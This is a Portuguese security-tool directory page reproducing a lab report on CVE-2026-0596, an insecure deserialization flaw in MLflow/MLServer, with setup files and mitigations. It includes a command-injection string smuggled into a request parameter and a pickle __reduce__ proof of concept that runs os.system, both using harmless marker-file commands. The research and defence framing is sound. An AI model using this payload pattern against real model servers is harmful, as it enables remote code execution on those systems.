Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0596-Reproduction — Ambiente de pesquisa e scripts de validação para avaliar comportamentos de desserialização em MLflow e MLServer. | Kitploit
Ferramentas/GitHubGitHub/sparshbiswas-ai/cve-2026-0596-reproduction
Análise de VulnerabilidadesExploraçãoSegurança WebAnálise de MalwareTestes de PenetraçãoSegurança da Cadeia de SuprimentosPapers e PesquisaAprendizado e EducaçãoExploração de Binários
Labs e Prática
GitHubsparshbiswas-ai/cve-2026-0596-reproduction

CVE-2026-0596-Reproduction

Ambiente de pesquisa e scripts de validação para avaliar comportamentos de desserialização em MLflow e MLServer.

Ver Repositório
3há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Abaixo está um relatório estruturado de pesquisa de vulnerabilidade formatado em Markdown, adaptado para um layout de repositório GitHub (como um README.md ou um artigo do security-labs). Ele descreve o contexto, a arquitetura, as etapas de reprodução e as estratégias de remediação com base nos achados do seu laboratório.


CVE-2026-0596: Execução de Código Arbitrário via Desserialização Insegura no Ecossistema MLflow

Um relatório abrangente de pesquisa de segurança detalhando a verificação, a mecânica subjacente e as vulnerabilidades arquiteturais associadas a pipelines de carregamento de modelos não confiáveis dentro de mlflow==2.11.1 e mlserver==1.3.5.


⚠️ Aviso de Inteligência de Vulnerabilidade: CVE-2026-0596

MétricaDetalhes
ID da VulnerabilidadeCVE-2026-0596 / GHSA-rvhj-8chj-8v3c
Enumeração de Fraquezas ComunsCWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Pontuação Base CVSS v3.19.6 CRÍTICO (CNA: huntr.dev) / 7.8 ALTO (NVD)
Vetor de ImpactoRede Adjacente, Baixa Complexidade, Nenhum Privilégio Exigido, Nenhuma Interação do Usuário
Ecossistema Afetadomlflow/mlflow (Todas as arquiteturas legadas servindo via enable_mlserver=True)

🔍 Análise Profunda da Vulnerabilidade Arquitetural

O Contexto

O MLflow possui uma integração com o MLServer da Seldon para lidar com o serviço de modelos de alto desempenho e nível empresarial. Ao iniciar um servidor de modelo via interface de linha de comando ou API do servidor de rastreamento, os desenvolvedores utilizam o parâmetro de configuração:

root@kitploit:~
enable_mlserver = True

📋 Sumário Executivo

Este ambiente de laboratório avalia o comportamento em tempo de execução de frameworks de serviço de modelos de aprendizado de máquina ao analisar parâmetros de entrada fornecidos pelo usuário e metadados de artefatos. Embora os limites de análise de parâmetros voltados para a API do MLServer isolem claramente literais de string brutos (impedindo a injeção tradicional de comandos do sistema operacional via metacaracteres de shell), o tempo de execução do Python subjacente permanece estruturalmente vulnerável à Desserialização Insegura ao ingerir fluxos de objetos serializados legados (.pkl / pickle).

  • Tipo de Vulnerabilidade: Desserialização Insegura (CWE-502) / Execução de Código Arbitrário
  • Impacto: Crítico (Execução Remota de Código no Contexto do Contêiner)
  • Componentes Afetados: Ingestão de modelos, subsistemas de download de artefatos e backends de previsão baseados em pickle.

🛠️ Arquitetura do Laboratório e Configuração

O ambiente de reprodução é containerizado usando Docker para isolar a camada do sistema operacional e simular um endpoint de modelo de aprendizado de máquina de nível de produção.

1. Configuração do Ambiente Docker (Dockerfile)

root@kitploit:~
FROM python:3.10-slim

WORKDIR /app

# Install native system binaries
RUN apt-get update && apt-get install -y \
    curl \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
    mlflow==2.11.1 \
    mlserver==1.3.5 \
    mlserver-mlflow==1.3.5

# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py

EXPOSE 5000

2. Projeto do Modelo Nativo (generate_model.py)

root@kitploit:~
import mlflow
import mlflow.pyfunc
import os

class DummyModel(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

if __name__ == "__main__":
    model_path = "/app/saved_model"
    if not os.path.exists(model_path):
        mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())


🔬 Análise e Verificação da Vulnerabilidade

Ciclo de Teste A: Limite de Injeção de Parâmetros da API (Aprovado)

O teste inicial tentou passar sequências de payload de terminação de shell (; touch /tmp/poc_success_marker.txt #) através do array de payload params do endpoint REST /invocations:

root@kitploit:~
{
  "dataframe_split": {
    "columns": ["machine_input"],
    "data": [["test_data"]]
  },
  "params": {
    "custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
  }
}

Resultado: Negativo. O framework tratou o payload com segurança como um literal de string absoluto e não avaliado. Isso confirma que o motor abstrai variáveis de entrada diretamente em espaços de memória do Python, em vez de sintetizar dinamicamente argumentos de shell do sistema via um wrapper de comando bruto.


Ciclo de Teste B: Hook de Desserialização Insegura (Explorado)

Como o MLflow e o MLServer ingerem objetos Python compilados, o risco principal muda da avaliação de strings para a reconstrução do grafo de objetos. Usando um script de validação personalizado, um gatilho de execução foi incorporado diretamente em um fluxo de modelo simulado usando o método mágico nativo de otimização do Python (__reduce__).

1. Script do Vetor de Exploração (trigger_native.py)

root@kitploit:~
import os
import pickle

class ExploitModel:
    def __reduce__(self):
        # The __reduce__ method defines object reconstruction behaviors.
        # Returning os.system forces immediate runtime command execution during loading.
        return (os.system, ("touch /tmp/native_success_marker.txt",))

if __name__ == "__main__":
    payload_path = "vulnerable_model.pkl"
    
    # Serialize the code execution payload into a pseudo-model file
    with open(payload_path, "wb") as f:
        pickle.dump(ExploitModel(), f)
        
    # Simulate an application or model server unpickling the artifact
    with open(payload_path, "rb") as f:
        pickle.load(f)

2. Execução e Verificação do Payload

O script foi injetado no ambiente sandbox do contêiner para imitar a sequência de carregamento do backend:

root@kitploit:~
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py

# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py

3. Saída de Verificação

Consultar o diretório temporário isolado do contêiner confirmou que a execução de código arbitrário ocorreu instantaneamente durante o loop de alocação de objeto:

root@kitploit:~
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root    0 May 18 10:31 native_success_marker.txt


🧠 Mecânica da Causa Raiz

O problema decorre da confiança implícita na camada de armazenamento de artefatos do modelo. Arquivos Python .pkl / pickle padrão não atuam apenas como registros de configuração simples; eles contêm instruções sequenciais de bytecode destinadas a reconstruir propriedades de objetos aninhados.

Quando pickle.load() analisa o conjunto de dados, ele prioriza o fluxo de instruções fornecido pelo hook __reduce__. Isso redireciona o aplicativo alvo para chamar binários nativos do sistema (os.system) diretamente no ambiente de shell antes que a validação do tipo de dados ou os cálculos de inferência de aprendizado de máquina sejam inicializados.


🛡️ Estratégias de Mitigação em Produção

1. Impor Formatos de Desserialização Segura

Descontinuar o uso de camadas de serialização legadas (pickle, joblib, marshal) em todos os pipelines de treinamento e implantação. Substituí-las por restrições estruturais apenas de dados:

  • Safetensors (Recomendado): Restringe os dados salvos exclusivamente a arrays numéricos planos, removendo completamente a camada de execução.
  • ONNX (Open Neural Network Exchange): Impõe um esquema de grafo de computação estático que impede hooks de avaliação arbitrários em tempo de execução.

2. Isolar e Colocar em Sandbox os Runtimes

Se o seu pipeline exigir estritamente configurações de modelo legadas:

  • Execute o wrapper de execução estritamente sob usuários não root dentro do contêiner (USER 10001).
  • Monte sistemas de arquivos como Somente Leitura sempre que aplicável para bloquear ataques de criação de arquivos.
  • Remova todas as capacidades do contêiner (cap_drop: [ALL]) e isole o pod de redes que contenham endpoints de metadados sensíveis.
Baixar ferramenta